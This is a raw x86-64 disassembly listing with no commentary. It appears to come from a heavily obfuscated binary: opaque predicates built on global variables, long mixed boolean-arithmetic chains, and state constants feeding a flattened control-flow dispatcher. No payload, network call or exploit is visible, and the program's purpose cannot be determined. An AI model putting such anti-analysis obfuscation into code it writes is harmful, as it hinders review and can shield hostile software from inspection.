xor dl, 1
or dl, bl
xor dl, 1
xor al, 1
mov ecx, eax
or cl, dl
xor al, dl
mov edx, ecx
xor dl, al
test al, 1
mov eax, 0xa867a78
mov ebx, 0x26c788e1
cmovne eax, ebx
test cl, 1
cmovne eax, r12d
jmp 0x1401a0088
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea esi, [rdx - 1]
imul esi, edx
mov ebx, esi
not ebx
mov ecx, esi
or ecx, 1
mov edi, ecx
not edi
mov edx, ebx
or edx, 0x35ac42f8
and ecx, 0x35ac42f9
and edi, 0xca53bd06
or edi, ecx
and edx, 0x35ac42f9
xor edx, edi
and ebx, 0xe184c8a4
and esi, 0x1e7b375b
or esi, ebx
mov ecx, esi
xor ecx, 0xe0b2119
mov edi, edx
not edi
mov ebx, edi
and ebx, 0xd0f496c2
and edx, 0x2f0b693d
or edx, ebx
xor esi, 0xc0848080
and esi, 0xd0f496c2
and ecx, 0x2f0b693d
or ecx, esi
xor ecx, edx
not ecx
or ecx, edi
cmp ecx, 0xffffffff
sete r8b
setne r9b
cmp eax, 9
setg bl
cmp eax, 0xa
setl cl
mov edx, r8d
and dl, bl
mov eax, ecx
and al, r9b
or bl, r9b
xor r9b, cl
or al, dl
xor cl, r8b
xor bl, 1
or bl, cl
xor al, 1
mov ecx, eax
xor cl, bl
or al, bl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
xor al, 1
mov ecx, r9d
or cl, al
xor al, r9b
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x5fb1c4ed
mov ebx, 0x8c41c56a
cmovne edx, ebx
test al, 1
mov eax, edx
mov ebx, 0x5fb1c4ed
jmp 0x14019cc81
mov ecx, dword [0x1402656c8]
lea ebx, [rcx - 1]
imul ebx, ecx
mov r8d, ebx
not r8d
mov edx, r8d
and edx, 0x36073db3
mov ecx, ebx
and ecx, 0xc9f8c24c
or ecx, edx
mov edx, ecx
xor edx, 0x81d00044
xor ecx, 0x36073db2
mov eax, ebx
xor eax, 0xfffffffe
and eax, ebx
or ecx, 1
mov esi, eax
not esi
mov edi, ecx
and edi, 0x5e2dfaab
and edx, 0xa1d20554
or edx, edi
or ecx, esi
and esi, 0x5e2dfaab
and eax, 0xa1d20554
or eax, esi
xor eax, edx
not ecx
or ecx, eax
not ecx
and r8d, 0xbeb3af2f
and ebx, 0x414c50d0
or ebx, r8d
xor ebx, 0x414c50d0
mov eax, ecx
and eax, ebx
xor ebx, ecx
or ebx, eax
cmp ebx, 0xffffffff
sete r8b
setne al
cmp dword [0x1402656c4], 9
setg cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov r9d, eax
xor r9b, 1
mov edx, ecx
xor dl, r8b
not dl
and dl, r8b
or cl, r8b
mov ebx, ecx
xor bl, dl
xor dl, 1
xor bl, 1
or dl, cl
xor dl, 1
or dl, bl
mov ebx, r9d
and bl, al
mov ecx, ebx
xor cl, 1
xor bl, r9b
or cl, al
xor cl, 1
or cl, bl
mov ebx, ecx
xor bl, 1
and bl, dl
xor dl, 1
and cl, dl
or cl, bl
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov eax, edx
xor al, cl
test dl, 1
mov edx, 0x4d1c408d
mov ebx, 0xc2f798e7
cmovne edx, ebx
test cl, 1
cmove edx, ebx
test al, 1
mov eax, 0x4d1c408d
jmp 0x1401a0e8b
mov eax, 0xa12d3a08
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x8032fd8
and edx, ecx
and ecx, 0xf7fcd027
or ecx, ebx
mov ebx, ecx
xor ebx, 0x4d80003
xor ecx, 0x8032fd8
mov edi, edx
not edi
mov esi, ecx
and esi, 0xf325d56c
and ebx, 0xcda2a93
or ebx, esi
or ecx, edi
and edi, 0xf325d56c
and edx, 0xcda2a93
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
or edx, 1
mov edi, edx
not edi
and ebx, 0x146e5fa0
and ecx, 0xeb91a05f
or ecx, ebx
mov ebx, ecx
xor ebx, 0x6900200c
xor ecx, 0x146e5fa1
mov esi, edx
and esi, 0x82bf9ad2
and edi, 0x7d40652c
or edi, esi
or edx, ecx
and ecx, 0x82bf9ad2
and ebx, 0x7d40652d
or ebx, ecx
xor ebx, edi
not edx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0x7382f2d5
and edx, 0x8c7d0d2a
or edx, ecx
mov ecx, edx
xor ecx, 0x80200c22
xor edx, 0x3080a284
and edx, 0x3cdda38c
and ecx, 0xc3225c73
or ecx, edx
mov edx, ecx
xor edx, 0x40201422
xor ecx, 0x14082104
and ecx, 0x970a6955
and edx, 0x68f596aa
or edx, ecx
xor edx, 0x68f596aa
setne r9b
sete r10b
cmp eax, 9
setg r8b
cmp eax, 0xa
setl cl
mov edx, ecx
xor dl, r8b
and dl, cl
mov eax, r10d
xor al, dl
mov ebx, eax
and bl, r10b
and al, dl
xor bl, 1
xor al, 1
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
xor r9b, r8b
mov edx, ecx
and dl, r10b
xor cl, r10b
or cl, dl
xor cl, 1
mov edx, r9d
and dl, cl
xor cl, r9b
or cl, dl
mov edx, ecx
xor dl, 1
mov ebx, ecx
and bl, dl
mov r8d, ecx
and r8b, bl
xor bl, cl
or bl, r8b
xor bl, al
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov eax, ebx
xor al, dl
test dl, 1
mov ecx, 0x4b3421c7
mov edx, 0x93915954
cmovne ecx, edx
test bl, 1
cmovne ecx, edx
not al
test al, 1
mov eax, 0x4b3421c7
jmp 0x1401a26bd
mov eax, 0xbcdf7083
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, 0x1e86d531
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
not edx
mov ecx, ebx
or ecx, 1
mov edi, ecx
not edi
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
mov ebx, edx
not ebx
mov esi, ecx
and esi, 0x9187aef3
and edi, 0x6e78510c
or edi, esi
or ecx, ebx
and ebx, 0x9187aef3
and edx, 0x6e78510c
or edx, ebx
xor edx, edi
not ecx
or ecx, edx
mov edx, ecx
not edx
and ecx, edx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
sete bl
setne r8b
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
xor r8b, al
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, r8b
mov r8d, ecx
xor r8b, 1
and dl, bl
or al, bl
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
and al, cl
or cl, dl
and dl, r8b
or dl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xb262ed81
mov ebx, 0xf8846ff5
cmovne eax, ebx
test dl, 1
mov edx, eax
mov ebx, 0xb262ed81
jmp 0x14018a4c2
mov eax, 0x6243a973
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, 0x44bde4b2
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edi, ecx
not edi
mov ebx, edi
and ebx, 0x4583e714
mov edx, ecx
xor edx, 0x4583e714
and edx, ecx
mov esi, ebx
and esi, edx
xor edx, ebx
or edx, esi
mov ebx, edx
not ebx
and ebx, 0xba7c18ea
and edx, 0x4583e715
or edx, ebx
and edi, 0xdfdb3c4b
and ecx, 0x2024c3b4
or ecx, edi
mov ebx, ecx
xor ebx, 0x2024c3b4
xor ecx, 0xdfdb3c4b
and ecx, edx
not edx
and ebx, edx
or ecx, ebx
not ecx
or ecx, edx
cmp ecx, 0xffffffff
sete r9b
setne cl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
mov ebx, eax
and bl, cl
mov edx, eax
xor dl, cl
or dl, bl
xor al, r9b
not al
and al, r9b
xor cl, r8b
not cl
and cl, r8b
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, edx
xor al, cl
xor cl, 1
or cl, dl
mov edx, eax
xor dl, cl
not dl
test dl, 1
mov edx, 0xb070f0b1
mov ebx, 0x3df49584
cmovne edx, ebx
test al, al
mov eax, 0xb070f0b1
cmovne eax, edx
test cl, cl
jmp 0x1401a10d7
mov eax, dword [0x1402656c8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
and eax, ecx
not ecx
mov edx, ecx
and edx, 0xfffffffe
mov ebx, edx
and ebx, eax
xor eax, edx
or eax, ebx
mov edx, eax
not edx
and edx, 0xa9fd99da
and eax, 0x56026625
or eax, edx
xor eax, 0x56026625
mov edx, eax
and edx, ecx
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x196c3188
and eax, 0xe693ce77
or eax, ecx
xor eax, 0xe693ce77
sete dl
setne cl
cmp dword [0x1402656c4], 9
setg bl
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov eax, ebx
xor al, dl
not al
and al, dl
or bl, dl
mov edx, ebx
xor dl, al
xor al, 1
xor dl, 1
or al, bl
xor al, 1
or al, dl
mov ebx, eax
xor bl, 1
mov edx, ebx
and dl, al
xor bl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, bl
mov ebx, edx
xor dl, 1
and dl, cl
xor cl, 1
and bl, cl
or dl, bl
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x9474cf5c
mov ebx, 0xb402351b
cmovne ecx, ebx
test al, 1
mov eax, 0x9474cf5c
jmp 0x1401a14d6
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
not edx
and ebx, 0x746ce3b4
and edx, 0x8b931c4b
or edx, ebx
mov ecx, edx
xor ecx, 0x746ce3b4
mov ebx, edx
xor ebx, 0x746ce3b5
and ebx, ecx
xor edx, 0x8b931c4a
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0xb40de763
and edx, ecx
and ecx, 0x4bf2189c
or ecx, ebx
mov ebx, ecx
xor ebx, 0x40121084
xor ecx, 0xb40de763
mov edi, edx
not edi
mov esi, ecx
and esi, 0x3be4ce3a
and ebx, 0xc41b31c5
or ebx, esi
or ecx, edi
and edi, 0x3be4ce3a
and edx, 0xc41b31c5
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
setne cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
mov ebx, ecx
or bl, dl
xor bl, 1
xor cl, dl
not cl
and cl, dl
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
and cl, al
xor al, 1
xor dl, 1
mov ebx, eax
xor bl, dl
and bl, al
and dl, al
or dl, cl
mov eax, ebx
xor al, dl
test al, 1
mov ecx, 0xa13c8b5c
mov edi, 0xb50f1d93
cmovne ecx, edi
test dl, dl
mov eax, ecx
cmovne eax, edi
test bl, bl
jmp 0x1401a14db
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov esi, ecx
not esi
mov edi, ecx
or edi, 1
mov ebx, edi
not ebx
mov edx, esi
or edx, 0xea1690ec
and edi, 0xea1690ed
and ebx, 0x15e96f12
or ebx, edi
and edx, 0xea1690ed
xor edx, ebx
and esi, 0x8386493
and ecx, 0xf7c79b6c
or ecx, esi
mov ebx, ecx
xor ebx, 0xf7c79b6c
xor ecx, 0x8386493
and ecx, edx
not edx
and ebx, edx
or ecx, ebx
not ecx
or ecx, edx
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
mov r8d, eax
xor r8b, dl
and al, r8b
xor cl, dl
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
mov edx, eax
and dl, cl
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov eax, edx
and al, r8b
mov ebx, r8d
and bl, cl
xor cl, r8b
xor r8b, 1
xor dl, 1
and dl, r8b
or dl, al
or cl, bl
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0xf7402b9c
mov ebx, 0x22be7c88
cmovne ecx, ebx
test dl, dl
cmove ecx, ebx
not al
test al, 1
mov eax, 0xf7402b9c
jmp 0x14019f4d9
mov eax, 0xe9f2e871
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, dword [0x1402656c8]
mov ecx, dword [0x1402656c4]
lea ebx, [rax - 1]
imul ebx, eax
mov edx, ebx
not edx
and ebx, 0xecef1638
and edx, 0x1310e9c7
or edx, ebx
mov eax, edx
xor eax, 0xecef1638
mov ebx, edx
xor ebx, 0xecef1639
and ebx, eax
xor edx, 0x1310e9c6
and edx, 0xfffffffe
and eax, 1
or eax, edx
mov edx, ebx
not edx
mov edi, eax
not edi
mov esi, edx
and esi, 0xc0d3448f
and ebx, 0x3f2cbb70
or ebx, esi
or edx, edi
and edi, 0xc0d3448f
and eax, 0x3f2cbb70
or eax, edi
xor eax, ebx
not edx
or edx, eax
mov eax, edx
not eax
and edx, 0xb037c3e2
and eax, 0x4fc83c1d
or eax, edx
xor eax, 0x4fc83c1d
cmp eax, 0xffffffff
sete r8b
setne bl
cmp ecx, 0xa
setl al
cmp ecx, 9
setg dl
mov ecx, ebx
xor cl, dl
and bl, cl
and cl, dl
xor bl, 1
xor cl, 1
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
mov ebx, eax
or bl, r8b
xor al, r8b
mov edx, ebx
xor dl, al
xor al, 1
xor dl, 1
or al, bl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov r8d, eax
xor r8b, 1
mov edx, ecx
xor dl, 1
mov ebx, ecx
and bl, dl
and al, r8b
mov r9d, ebx
and r9b, cl
xor bl, cl
or bl, r9b
xor al, 1
mov ecx, eax
xor cl, r8b
or al, r8b
xor al, 1
or al, cl
mov ecx, ebx
xor cl, 1
and cl, al
xor al, 1
and al, bl
or al, cl
mov ecx, edx
and cl, r8b
xor dl, r8b
or dl, cl
mov ecx, edx
xor cl, al
test dl, 1
mov edx, 0x3d5695c1
mov ebx, 0x6137f3c7
cmovne edx, ebx
test al, 1
cmove edx, ebx
not cl
test cl, 1
mov eax, 0x3d5695c1
jmp 0x14019f61b
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
mov edx, ebx
xor edx, 0x4cdb172a
and edx, ebx
not ebx
and ebx, 0x48110522
and ecx, 0x4ca1208
or ecx, ebx
mov ebx, ecx
xor ebx, 0x8a0200
xor ecx, 0xfb35edf7
mov edi, edx
not edi
mov esi, ecx
and esi, 0xc761310a
and ebx, 0x89a0620
or ebx, esi
or ecx, edi
and edi, 0xc761310a
and edx, 0x389ecef5
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xb324e8d5
and ecx, 0x4cdb172a
or ecx, edx
mov edi, ecx
not edi
mov edx, edi
and edx, 0x9a7ee90a
mov ebx, ecx
and ebx, 0x658116f5
or ebx, edx
mov edx, ebx
not edx
and edx, 0x61548bd6
and ebx, 0x9eab7429
or ebx, edx
mov edx, ebx
xor edx, 0x4949802
and edi, 1
xor ecx, 0xfffffffe
or ecx, edi
mov edi, ecx
not edi
and edi, 0x14c327ea
and ecx, 0xeb3cd815
or ecx, edi
mov edi, ecx
xor edi, 0x13cd810
xor ebx, 0xfb2a62dd
xor ecx, 0x14c327ea
mov esi, ebx
and esi, 0xfa410765
and edx, 0x5bef89a
or edx, esi
or ebx, ecx
and ecx, 0xfa410765
and edi, 0x5bef89a
or edi, ecx
xor edi, edx
not ebx
or ebx, edi
mov ecx, ebx
mov edx, ebx
xor edx, 0xa43d6978
and edx, ebx
not ebx
and ebx, 0x802d6858
and ecx, 0x24100120
or ecx, ebx
xor ecx, 0x24100120
mov ebx, ecx
and ebx, edx
xor edx, ecx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0x91ef80b6
and edx, 0x6e107f49
or edx, ecx
mov ecx, edx
xor ecx, 0xc2281230
xor edx, 0x35d2e9ce
mov ebx, edx
and ebx, 0x3dc76543
and ecx, 0xc2389abc
or ecx, ebx
xor ecx, 0x3dc76543
xor edx, ecx
test edx, ecx
sete r8b
setne r9b
cmp eax, 0xa
setl cl
cmp eax, 9
setg dl
mov eax, r9d
xor al, dl
mov ebx, eax
and bl, r9b
and al, dl
mov r10d, ebx
and r10b, al
xor al, bl
or al, r10b
and r9b, cl
and dl, r8b
or dl, r9b
mov ebx, ecx
and bl, r8b
xor cl, r8b
or cl, bl
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov r8d, ecx
xor r8b, 1
mov edx, eax
xor dl, 1
and al, dl
mov ebx, r8d
and bl, cl
xor al, 1
mov r9d, eax
xor r9b, dl
or al, dl
xor al, 1
or al, r9b
mov r9d, ebx
and r9b, r8b
xor bl, r8b
or bl, r9b
mov r8d, eax
xor r8b, 1
and r8b, bl
xor bl, 1
and bl, al
or bl, r8b
mov eax, edx
and al, cl
xor dl, cl
or dl, al
mov eax, edx
xor al, bl
test al, 1
mov eax, 0xd8e42054
mov ecx, 0x4c4d85b1
cmovne eax, ecx
test dl, 1
mov ecx, 0xd8e42054
jmp 0x1401a2355
mov eax, 0x89cbb974
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, 0x9f72fd61
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, 0x409d31e8
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, 0xb47019e
mov edi, ecx
and edi, 0xf4b8fe60
or edi, edx
xor edi, 0xf4b8fe60
mov edx, ecx
xor edx, 0xfffffffe
and edx, ecx
mov esi, edi
and esi, edx
xor edx, edi
or edx, esi
mov edi, edx
not edi
and edi, 0xcc493cf2
and edx, 0x33b6c30d
or edx, edi
xor edx, 0x33b6c30d
and ebx, 0x3e1cac60
and ecx, 0xc1e3539f
or ecx, ebx
xor ecx, 0xc1e3539f
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x6c5501cb
and ecx, 0x93aafe34
or ecx, edx
xor ecx, 0x93aafe34
setne r8b
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg cl
mov eax, ecx
xor al, dl
and al, cl
and bl, r8b
and cl, dl
or cl, bl
mov edx, eax
and dl, cl
xor al, cl
or al, dl
mov edx, eax
not dl
mov ebx, ecx
xor bl, al
and bl, cl
and al, cl
xor cl, 1
and cl, dl
or al, cl
mov ecx, ebx
xor cl, al
test cl, 1
mov ecx, 0xba728941
mov edx, 0x93bc7aa6
jmp 0x14019a4de
mov eax, dword [0x1402656c8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xf5d5a122
and eax, ecx
and ecx, 0xa2a5edd
or ecx, edx
xor ecx, 0xa2a5edd
mov edx, ecx
and edx, eax
xor ecx, eax
or ecx, edx
mov edi, ecx
mov eax, ecx
xor eax, 0x93a35a1e
and eax, ecx
not ecx
and ecx, 0x9c3bc46a
and edi, 0x63c43b95
or edi, ecx
mov ecx, edi
xor ecx, 0x63c43b95
mov edx, edi
xor edx, 0xf989e74
and edx, ecx
mov ebx, edx
and ebx, eax
xor eax, edx
or eax, ebx
mov edx, eax
not edx
and edx, 0x11699da4
and eax, 0xee96625b
or eax, edx
mov ebx, eax
xor ebx, 0x25152804
xor edi, 0x9c008408
and edi, 0x9f009c8d
mov edx, ecx
and edx, 0x60ff6372
or edx, edi
xor edx, 0x9f009c8c
and ecx, 1
or ecx, edx
mov edx, ecx
not edx
xor eax, 0x82cac7bb
mov edi, eax
and edi, 0x58aad540
and ebx, 0xa7552abf
or ebx, edi
or eax, ecx
and ecx, 0x58aad540
and edx, 0xa7552abf
or edx, ecx
xor edx, ebx
not eax
or eax, edx
mov ecx, eax
mov edx, eax
xor edx, 0xa9ada1ce
and edx, eax
not eax
and eax, 0xc3bd0215
and ecx, 0x3c42fdea
or ecx, eax
mov eax, ecx
xor eax, 0x28002040
xor ecx, 0x81ad0004
or ecx, 0x56525e31
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x9153df8e
and eax, 0x28ac2040
or eax, edi
or ecx, ebx
and ebx, 0x9153df8e
and edx, 0x6eac2071
or edx, ebx
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x2cfd946d
and ecx, 0xd3026b92
or ecx, eax
mov eax, ecx
xor eax, 0x6801ca14
xor ecx, 0x4001003
and eax, 0xe951efb4
and ecx, 0x16ae104b
or ecx, eax
xor ecx, 0x16ae104b
sete al
setne cl
cmp dword [0x1402656c4], 9
setg bl
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ebx
xor dl, al
not dl
and dl, al
or bl, al
mov eax, ebx
xor al, dl
xor dl, 1
xor al, 1
or dl, bl
xor dl, 1
or dl, al
mov eax, ecx
xor al, dl
xor dl, 1
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ecx, eax
xor cl, dl
not cl
test cl, 1
mov ecx, 0xedd1c2b3
mov ebx, 0xf8a44491
cmovne ecx, ebx
test dl, 1
mov edx, 0xedd1c2b3
cmovne edx, ecx
jmp 0x1401a216e
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edi, [rdx - 1]
imul edi, edx
mov r9d, edi
not r9d
mov ebx, r9d
and ebx, 0x4166b116
mov edx, edi
and edx, 0xbe994ee8
or edx, ebx
mov ebx, edx
xor ebx, 0xb89106c8
xor edx, 0x4166b117
mov ecx, edi
xor ecx, 0xfffffffe
and ecx, edi
mov eax, ecx
not eax
mov esi, edx
and esi, 0x608d837
and ebx, 0xf9f727c8
or ebx, esi
or edx, eax
and eax, 0x608d837
and ecx, 0xf9f727c8
or ecx, eax
xor ecx, ebx
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x445b8a10
and edx, 0xbba475ef
or edx, eax
xor edx, 0xbba475ef
and r9d, 0x7c5f2ce1
and edi, 0x83a0d31e
or edi, r9d
xor edi, 0x83a0d31e
mov eax, edx
and eax, edi
xor edi, edx
or edi, eax
cmp edi, 0xffffffff
setne r9b
sete r10b
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl r8b
mov ebx, r10d
xor bl, r9b
and bl, r10b
mov eax, ecx
or al, bl
xor bl, 1
or bl, r8b
xor bl, 1
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
and r9b, r8b
or r8b, r10b
and cl, r10b
or cl, r9b
mov edx, r8d
xor dl, cl
xor cl, 1
xor dl, 1
or cl, r8b
xor cl, 1
or cl, dl
mov ebx, ecx
xor bl, 1
xor al, 1
mov edx, ebx
and dl, cl
mov r8d, edx
and r8b, bl
xor dl, bl
or dl, r8b
xor dl, al
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
mov ecx, edx
xor cl, al
not cl
test cl, 1
mov ecx, 0xeb27fff7
mov ebx, 0xf466911f
cmovne ecx, ebx
test al, 1
mov eax, 0xeb27fff7
jmp 0x140197fb0
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, 0x10423f1c
and ecx, 0xefbdc0e3
or ecx, edx
mov edx, ecx
xor edx, 0x10423f1c
mov r9d, ecx
not r9d
mov edi, ecx
xor edi, 0xe0324847
and edi, edx
or edx, 0xf8f88a4
mov esi, edx
not esi
mov eax, edi
not eax
mov ebx, edx
and ebx, 0xcc5d261d
and esi, 0x30205142
or esi, ebx
or edx, eax
and eax, 0xcc5d261d
and edi, 0x33a2d9e2
or edi, eax
xor edi, esi
not edx
or edx, edi
mov eax, edx
not eax
and eax, 0xf8f88a5
and edx, 0xf070775a
or edx, eax
and r9d, 1
xor ecx, 0xefbdc0e2
or ecx, r9d
mov eax, ecx
not eax
and eax, 0x35e88200
and ecx, 0xca177dff
or ecx, eax
xor ecx, 0xca177dff
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov edx, ecx
mov eax, ecx
xor eax, 0x154548aa
and eax, ecx
not ecx
and ecx, 0x4e3caad3
and edx, 0xb1c3552c
or edx, ecx
mov ecx, edx
not ecx
xor edx, 0x4040882
or edx, 0xeabab755
mov ebx, eax
not ebx
mov edi, edx
and edi, 0x8c5da9d2
and ecx, 0x11004028
or ecx, edi
or edx, ebx
and ebx, 0x8c5da9d2
and eax, 0x73a2562d
or eax, ebx
xor eax, ecx
not edx
or edx, eax
mov eax, edx
not eax
and eax, 0x367d0cc6
and edx, 0xc982f339
or edx, eax
mov eax, edx
xor eax, 0x58438103
xor edx, 0x2338446c
mov ecx, edx
and ecx, 0x85ac3ed0
and eax, 0x7a53c12f
or eax, ecx
xor eax, 0x7a53c12f
or eax, edx
cmp eax, 0xffffffff
sete r9b
setne r11b
cmp r8d, 0xa
setl r10b
cmp r8d, 9
setg al
mov edx, r11d
xor dl, r9b
and dl, r11b
mov ecx, edx
xor cl, 1
or cl, dl
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, al
and cl, dl
and dl, al
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ecx, eax
xor cl, r9b
and cl, al
and r10b, r11b
and al, r9b
or al, r10b
xor cl, 1
xor al, 1
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
mov ecx, eax
xor cl, 1
and al, cl
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ecx, eax
xor cl, dl
mov ebx, ecx
or al, dl
xor al, 1
or al, cl
xor cl, al
test al, 1
mov eax, 0x9cf6cff7
mov edx, 0x5774d89e
cmovne eax, edx
not bl
test bl, 1
cmovne eax, edx
test cl, 1
mov ecx, 0x9cf6cff7
jmp 0x1401a14db
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0xb61bb6a
and edx, ecx
and ecx, 0xf49e4495
or ecx, ebx
xor ecx, 0xf49e4495
mov ebx, ecx
and ebx, edx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
mov ebx, ecx
and ebx, 0xfffffffe
and edx, 0xa076ed4e
and ecx, 0x5f8912b1
or ecx, edx
xor ecx, 0x5f8912b0
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, 0xd735d52
and ecx, 0xf28ca2ad
or ecx, edx
mov edi, ecx
xor edi, 0x62880000
xor ecx, 0x200c00
or ebx, 0x66a88d46
mov edx, ebx
not edx
or ecx, 0x914640a0
and ecx, 0x9166cca4
and edi, 0x66880142
or edi, ecx
and ebx, 0x9166cca4
and edx, 0x8113219
or edx, ebx
xor edx, edi
mov ecx, edx
not ecx
and ecx, 0x699f0b98
and edx, 0x9660f467
or edx, ecx
mov ecx, edx
xor ecx, 0xe0084900
xor edx, 0xf158450
and edx, 0x1fd5b471
and ecx, 0xe02a4b8e
or ecx, edx
mov edx, ecx
xor edx, 0xa00a018c
xor ecx, 0xf848041
and ecx, 0x4fa4ca43
and edx, 0xb05b35bc
or edx, ecx
xor edx, 0x4fa4ca43
cmp edx, 0xffffffff
setne cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
mov ebx, ecx
or bl, dl
xor cl, dl
not cl
and cl, dl
mov edx, ebx
xor dl, cl
xor cl, 1
xor dl, 1
or cl, bl
xor cl, 1
or cl, dl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
mov r8d, ebx
and r8b, dl
xor dl, bl
or dl, r8b
xor dl, al
xor bl, al
xor al, 1
or cl, al
xor cl, 1
or cl, bl
mov eax, ecx
xor al, dl
test al, 1
mov ebx, 0xe554e2b4
mov eax, 0x99ba1186
cmovne ebx, eax
test cl, 1
mov eax, 0xe554e2b4
cmovne eax, ebx
jmp 0x1401a0088
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x751ad175
and edx, ecx
and ecx, 0x8ae52e8a
or ecx, ebx
mov ebx, ecx
xor ebx, 0x82a50e02
xor ecx, 0x751ad175
mov edi, edx
not edi
mov esi, ecx
and esi, 0x585ab198
and ebx, 0xa7a54e67
or ebx, esi
or ecx, edi
and edi, 0x585ab198
and edx, 0xa7a54e67
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
